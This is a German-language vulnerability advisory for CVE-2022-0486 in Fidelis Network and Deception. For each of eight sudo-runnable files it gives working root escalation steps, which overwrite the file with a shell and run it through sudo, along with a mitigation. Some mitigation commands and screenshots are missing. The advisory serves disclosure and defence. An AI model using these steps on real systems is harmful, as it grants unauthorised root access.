Fidelis Network und Deception – CVE-2022-0486 – Unsichere Dateiberechtigungen Privilegieneskalation – Multiple

Freigabefähigkeit und Danksagungen

Alle Exploits wurden von der Regierung der Vereinigten Staaten zur Veröffentlichung freigegeben. Besonderer Dank gilt den Soldaten und Regierungsverbindungsstellen, die mit der Genehmigung der Dokumentation für die uneingeschränkte Verbreitung beauftragt waren. Bitte beachten Sie die folgenden OTR-Nummern:

• OTR-2022-00482
• OTR-2022-00483
• OTR-2022-00484
• OTR-2022-00485
• OTR-2022-00486
• OTR-2022-00488
• OTR-2022-00489
• OTR-2022-00490

Metadaten

Datum: 20220517 2005H UTC

Exploit-Autor: Henry Reed, The Aerospace Corporation

Hersteller-Startseite: https://fidelissecurity.com/

Betroffene Versionen:

• Fidelis CommandPost vor 9.4.5
• Fidelis Collector vor 9.4.5
• Fidelis Sensor vor 9.4.5
• Fidelis Sandbox vor 9.4.5

Getestet auf:

• Fidelis CommandPost 9.4.3
• Fidelis Collector 9.4.3
• Fidelis (Interne VM) Sensor 9.4.3

CVE: CVE-2022-0486

CVE-Beschreibung: Unzulässige Dateiberechtigungen in den Komponenten CommandPost, Collector, Sensor und Sandbox von Fidelis Network and Deception ermöglichen es einem Angreifer mit lokalem Administrationszugriff auf die CLI, betroffene Dateien zu ändern und eine Privilegieneskalation auf Root-Ebene zu erreichen. Die Schwachstelle ist in Fidelis Network and Deception Versionen vor 9.4.5 vorhanden. Patches und Updates sind verfügbar, um diese Schwachstelle zu beheben.

Zusammenfassung

Unter dieser CVE existieren mehrere Exploits, da die CVE eine Reihe von unzulässigen Dateiberechtigungen abdeckt. Alle Exploits beruhen darauf, dass dem Benutzer fidelis eine NOPASSWD- sowie mehrere passwortgeschützte sudoers-Berechtigungen für Binärdateien oder Skripte erteilt werden, die dem Benutzer fidelis gehören, wodurch der Benutzer fidelis die Datei beliebig ändern kann. Dies ermöglicht eine lokale Privilegieneskalation.

Betroffene Datei mit NOPASSWD:

• /FSS/bin/shutdown.pl

Betroffene Dateien, die ein Passwort erfordern:

• /FSS/setup/cert_mgmt
• /FSS/bin/db_updater
• /FSS/deception-manager/bin/deception-manager
• /FSS/sbin/fssdbg.sh
• /FSS/bin/mst
• /FSS/bin/setup
• /FSS/setup/unlock_cp_user.sh

Es wird empfohlen, dass betroffene Benutzer von Fidelis Deception oder Fidelis Network ihre Software aktualisieren, um diese Schwachstelle zu beheben. Es wird auch allen Benutzern, unabhängig davon, ob sie von dieser Schwachstelle betroffen sind, empfohlen, den Shell-Zugriff auf ihre Fidelis-Produkte nach der Erstkonfiguration zu deaktivieren.

Falls aus irgendeinem Grund keine dieser Maßnahmen möglich ist, wird in diesem Dokument eine Abhilfemaßnahme für jede anfällige Datei beschrieben. Nach den Tests des Autors scheinen Benutzer eine dieser Schwachstellen nutzen zu müssen, um Privilegien zu eskalieren, bevor sie die beschriebenen Abhilfemaßnahmen anwenden können. Daher wird dringend empfohlen, Fidelis zu aktualisieren und SSH zu deaktivieren.

Shutdown.pl Privilegieneskalation

Getestet auf:

• Fidelis CommandPost 9.4.3
• Fidelis Collector 9.4.3
• Fidelis (Interne VM) Sensor 9.4.3

Zusammenfassung:

Fehlkonfigurierte Besitzerberechtigungen auf /FSS/bin/shutdown.pl ermöglichen es dem Benutzer fidelis, in mehreren Fidelis-Produkten Privilegien auf Root-Niveau zu eskalieren. Standardmäßig erlaubt die sudoers-Konfiguration dem Benutzer fidelis, /FSS/bin/shutdown.pl als Root-Benutzer ohne Passwortabfrage auszuführen. Die Datei gehört dem Benutzer fidelis, sodass der Benutzer fidelis das Skript beliebig ändern und Privilegien eskalieren kann.

Exploit:

1. Ändern Sie die Berechtigungen, um die Änderung der Datei shutdown.pl zu erlauben:

$ chmod 700 /FSS/bin/shutdown.pl

2. Ändern Sie die Datei nach Bedarf, um beliebigen Code auszuführen, oder in diesem Beispiel eine Shell zu öffnen:

$ echo '#!/usr/bin/perl -w' > /FSS/bin/shutdown.pl
$ echo "exec '/bin/sh';" >> /FSS/bin/shutdown.pl
$ cat /FSS/bin/shutdown.pl
#!/usr/bin/perl -w
exec '/bin/sh';

3. Starten Sie die Datei mit dem sudo-Befehl:

$ sudo /FSS/bin/shutdown.pl

Screenshot, der die Entdeckung und Ausnutzung der Schwachstelle zeigt. Beachten Sie die NOPASSWD-Zeile, die darauf hinweist, dass shutdown.pl ein potenzieller Kandidat für eine Privilegieneskalation ist:

Abhilfemaßnahme:

Das Ändern der Benutzer- und Gruppenbesitzer von /FSS/bin/shutdown.pl auf root:fidelis und das Gewähren von nur Lese- und Ausführungsberechtigungen für den Gruppenbesitzer von /FSS/bin/shutdown.pl würde diese Schwachstelle entschärfen:

cert_mgmt Authentifizierte Privilegieneskalation

Getestet auf:

• Fidelis CommandPost 9.4.3
• Fidelis Collector 9.4.3
• Fidelis (Interne VM) Sensor 9.4.3

Zusammenfassung:

Fehlkonfigurierte Besitzerberechtigungen auf /FSS/setup/cert_mgmt ermöglichen es dem Benutzer fidelis, in mehreren Fidelis-Produkten Privilegien auf Root-Niveau zu eskalieren. Standardmäßig erlaubt die sudoers-Konfiguration dem Benutzer fidelis, /FSS/setup/cert_mgmt als Root-Benutzer auszuführen, wenn ein Passwort angegeben wird. Die Datei gehört dem Benutzer fidelis, sodass der Benutzer fidelis das Skript beliebig ändern und Privilegien eskalieren kann.

Exploit:

1. Ändern Sie die Berechtigungen, um die Änderung der Datei cert_mgmt zu erlauben:

$ chmod u+w /FSS/setup/cert_mgmt

2. Ändern Sie die Datei nach Bedarf, um beliebigen Code auszuführen, oder in diesem Beispiel eine Shell zu öffnen:

$ cp /bin/bash /FSS/setup/cert_mgmt

3. Starten Sie die Datei mit dem sudo-Befehl und authentifizieren Sie sich mit dem Passwort des Benutzers fidelis:

$ sudo /FSS/setup/cert_mgmt

Screenshot, der die Entdeckung und Ausnutzung der Schwachstelle zeigt:

Abhilfemaßnahme:

Das Ändern der Benutzer- und Gruppenbesitzer von /FSS/setup/cert_mgmt auf root:fidelis und das Gewähren von nur Lese- und Ausführungsberechtigungen für den Gruppenbesitzer von /FSS/setup/cert_mgmt würde diese Schwachstelle entschärfen:

db_updater Authentifizierte Privilegieneskalation

Getestet auf:

• Fidelis CommandPost 9.4.3

Zusammenfassung:

Fehlkonfigurierte Besitzerberechtigungen auf /FSS/bin/db_updater ermöglichen es dem Benutzer fidelis, in Fidelis CommandPost Privilegien auf Root-Niveau zu eskalieren. Standardmäßig erlaubt die sudoers-Konfiguration dem Benutzer fidelis, /FSS/bin/db_updater als Root-Benutzer auszuführen, wenn ein Passwort angegeben wird. Die Datei gehört dem Benutzer fidelis, sodass der Benutzer fidelis die Binärdatei beliebig ändern und Privilegien eskalieren kann.

Exploit:

1. Ändern Sie die Berechtigungen, um die Änderung der Datei db_updater zu erlauben:

$ chmod u+w /FSS/bin/db_updater

2. Ändern Sie die Datei nach Bedarf, um beliebigen Code auszuführen, oder in diesem Beispiel eine Shell zu öffnen:

$ cp /bin/bash /FSS/bin/db_updater

3. Starten Sie die Datei mit dem sudo-Befehl und authentifizieren Sie sich mit dem Passwort des Benutzers fidelis:

$ sudo /FSS/bin/db_updater

Abhilfemaßnahme:

Das Ändern der Benutzer- und Gruppenbesitzer von /FSS/bin/db_updater auf root:fidelis und das Gewähren von nur Lese- und Ausführungsberechtigungen für den Gruppenbesitzer von /FSS/bin/db_updater würde diese Schwachstelle entschärfen:

deception-manager Authentifizierte Privilegieneskalation

Getestet auf:

• Fidelis CommandPost 9.4.3

Zusammenfassung:

Fehlkonfigurierte Besitzerberechtigungen auf /FSS/deception-manager/bin/deception-manager ermöglichen es dem Benutzer fidelis, in Fidelis CommandPost Privilegien auf Root-Niveau zu eskalieren. Standardmäßig erlaubt die sudoers-Konfiguration dem Benutzer fidelis, /FSS/deception-manager/bin/deception-manager als Root-Benutzer auszuführen, wenn ein Passwort angegeben wird. Die Datei gehört dem Benutzer fidelis, sodass der Benutzer fidelis die Binärdatei beliebig ändern und Privilegien eskalieren kann.

Exploit:

1. Ändern Sie die Datei nach Bedarf, um beliebigen Code auszuführen, oder in diesem Beispiel eine Shell zu öffnen:

$ cp /bin/bash /FSS/deception-manager/bin/deception-manager

2. Starten Sie die Datei mit dem sudo-Befehl und authentifizieren Sie sich mit dem Passwort des Benutzers fidelis:

$ sudo /FSS/deception-manager/bin/deception-manager

Screenshot, der die Entdeckung und Ausnutzung der Schwachstelle zeigt:

Abhilfemaßnahme:

Das Ändern der Benutzer- und Gruppenbesitzer von /FSS/deception-manager/bin/deception-manager auf root:fidelis und das Gewähren von nur Lese- und Ausführungsberechtigungen für den Gruppenbesitzer von /FSS/deception-manager/bin/deception-manager würde diese Schwachstelle entschärfen:

fssdbg.sh Authentifizierte Privilegieneskalation

Getestet auf:

• Fidelis CommandPost 9.4.3
• Fidelis Collector 9.4.3
• Fidelis (Interne VM) Sensor 9.4.3

Zusammenfassung:

Fehlkonfigurierte Besitzerberechtigungen auf /FSS/sbin/fssdbg.sh ermöglichen es dem Benutzer fidelis, in mehreren Fidelis-Produkten Privilegien auf Root-Niveau zu eskalieren. Standardmäßig erlaubt die sudoers-Konfiguration dem Benutzer fidelis, /FSS/sbin/fssdbg.sh als Root-Benutzer auszuführen, wenn ein Passwort angegeben wird. Die Datei gehört dem Benutzer fidelis, sodass der Benutzer fidelis das Skript beliebig ändern und Privilegien eskalieren kann.

Exploit:

1. Ändern Sie die Berechtigungen, um die Änderung der Datei fssdbg.sh zu erlauben:

$ chmod u+w /FSS/sbin/fssdbg.sh

2. Ändern Sie die Datei nach Bedarf, um beliebigen Code auszuführen, oder in diesem Beispiel eine Shell zu öffnen:

$ cp /bin/bash /FSS/sbin/fssdbg.sh

3. Starten Sie die Datei mit dem sudo-Befehl und authentifizieren Sie sich mit dem Passwort des Benutzers fidelis:

$ sudo /FSS/sbin/fssdbg.sh

Screenshot, der die Entdeckung und Ausnutzung der Schwachstelle zeigt:

Abhilfemaßnahme:

Das Ändern der Benutzer- und Gruppenbesitzer von /FSS/sbin/fssdbg.sh auf root:fidelis und das Gewähren von nur Lese- und Ausführungsberechtigungen für den Gruppenbesitzer von /FSS/sbin/fssdbg.sh würde diese Schwachstelle entschärfen:

mst Authentifizierte Privilegieneskalation

Getestet auf:

• Fidelis CommandPost 9.4.3
• Fidelis Collector 9.4.3
• Fidelis (Interne VM) Sensor 9.4.3

Zusammenfassung:

Fehlkonfigurierte Besitzerberechtigungen auf /FSS/bin/mst ermöglichen es dem Benutzer fidelis, in mehreren Fidelis-Produkten Privilegien auf Root-Niveau zu eskalieren. Standardmäßig erlaubt die sudoers-Konfiguration dem Benutzer fidelis, /FSS/bin/mst als Root-Benutzer auszuführen, wenn ein Passwort angegeben wird. Die Datei gehört dem Benutzer fidelis, sodass der Benutzer fidelis die Binärdatei beliebig ändern und Privilegien eskalieren kann.

Exploit:

1. Ändern Sie die Berechtigungen, um die Änderung der Datei mst zu erlauben:

$ chmod u+w /FSS/bin/mst

2. Ändern Sie die Datei nach Bedarf, um beliebigen Code auszuführen, oder in diesem Beispiel eine Shell zu öffnen:

$ cp /bin/bash /FSS/bin/mst

3. Starten Sie die Datei mit dem sudo-Befehl und authentifizieren Sie sich mit dem Passwort des Benutzers fidelis:

$ sudo /FSS/bin/mst

Screenshot, der die Entdeckung und Ausnutzung der Schwachstelle zeigt:

Abhilfemaßnahme:

Das Ändern der Benutzer- und Gruppenbesitzer von /FSS/bin/mst auf root:fidelis und das Gewähren von nur Lese- und Ausführungsberechtigungen für den Gruppenbesitzer von /FSS/bin/mst würde diese Schwachstelle entschärfen. Der folgende Screenshot zeigt die Abhilfemaßnahme zur Privilegieneskalation und einen Ausschnitt der mst-Befehlsausgabe, wenn dieser von fidelis ohne sudo ausgeführt wird:

Screenshot, der zeigt, dass der Befehl trotz der Abhilfemaßnahme weiterhin von fidelis mit sudo ausgeführt werden kann:

Screenshot, der zeigt, dass mst nicht geändert werden kann, um anderen beliebigen Code auszuführen, wenn die Abhilfemaßnahme angewendet wird:

setup Authentifizierte Privilegieneskalation

Getestet auf:

• Fidelis CommandPost 9.4.3
• Fidelis Collector 9.4.3
• Fidelis (Interne VM) Sensor 9.4.3

Zusammenfassung:

Fehlkonfigurierte Besitzerberechtigungen auf /FSS/bin/setup ermöglichen es dem Benutzer fidelis, in mehreren Fidelis-Produkten Privilegien auf Root-Niveau zu eskalieren. Standardmäßig erlaubt die sudoers-Konfiguration dem Benutzer fidelis, /FSS/bin/setup als Root-Benutzer auszuführen, wenn ein Passwort angegeben wird. Die Datei gehört dem Benutzer fidelis, sodass der Benutzer fidelis die Binärdatei beliebig ändern und Privilegien eskalieren kann.

Exploit:

1. Ändern Sie die Berechtigungen, um die Änderung der Datei setup zu erlauben:

$ chmod u+w /FSS/bin/setup

2. Ändern Sie die Datei nach Bedarf, um beliebigen Code auszuführen, oder in diesem Beispiel eine Shell zu öffnen:

$ cp /bin/bash /FSS/bin/setup

3. Starten Sie die Datei mit dem sudo-Befehl und authentifizieren Sie sich mit dem Passwort des Benutzers fidelis:

$ sudo /FSS/bin/setup

Screenshot, der die Entdeckung und Ausnutzung der Schwachstelle zeigt:

Abhilfemaßnahme:

Das Ändern der Benutzer- und Gruppenbesitzer von /FSS/bin/setup auf root:fidelis und das Gewähren von nur Lese- und Ausführungsberechtigungen für den Gruppenbesitzer von /FSS/bin/setup würde diese Schwachstelle entschärfen:

setup Authentifizierte Privilegieneskalation

Getestet auf:

• Fidelis CommandPost 9.4.3
• Fidelis Collector 9.4.3
• Fidelis (Interne VM) Sensor 9.4.3

Zusammenfassung:

Fehlkonfigurierte Besitzerberechtigungen auf /FSS/setup/unlock_cp_user.sh ermöglichen es dem Benutzer fidelis, in mehreren Fidelis-Produkten Privilegien auf Root-Niveau zu eskalieren. Standardmäßig erlaubt die sudoers-Konfiguration dem Benutzer fidelis, /FSS/setup/unlock_cp_user.sh als Root-Benutzer auszuführen, wenn ein Passwort angegeben wird. Die Datei gehört dem Benutzer fidelis, sodass der Benutzer fidelis das Skript beliebig ändern und Privilegien eskalieren kann.

Exploit:

1. Ändern Sie die Berechtigungen, um die Änderung der Datei unlock_cp_user.sh zu erlauben:

$ chmod u+w /FSS/setup/unlock_cp_user.sh

2. Ändern Sie die Datei nach Bedarf, um beliebigen Code auszuführen, oder in diesem Beispiel eine Shell zu öffnen:

$ cp /bin/bash /FSS/setup/unlock_cp_user.sh

3. Starten Sie die Datei mit dem sudo-Befehl und authentifizieren Sie sich mit dem Passwort des Benutzers fidelis:

$ sudo /FSS/setup/unlock_cp_user.sh

Screenshot, der die Entdeckung und Ausnutzung der Schwachstelle zeigt:

Abhilfemaßnahme:

Das Ändern der Benutzer- und Gruppenbesitzer von /FSS/setup/unlock_cp_user.sh auf root:fidelis und das Gewähren von nur Lese- und Ausführungsberechtigungen für den Gruppenbesitzer von /FSS/setup/unlock_cp_user.sh würde diese Schwachstelle entschärfen: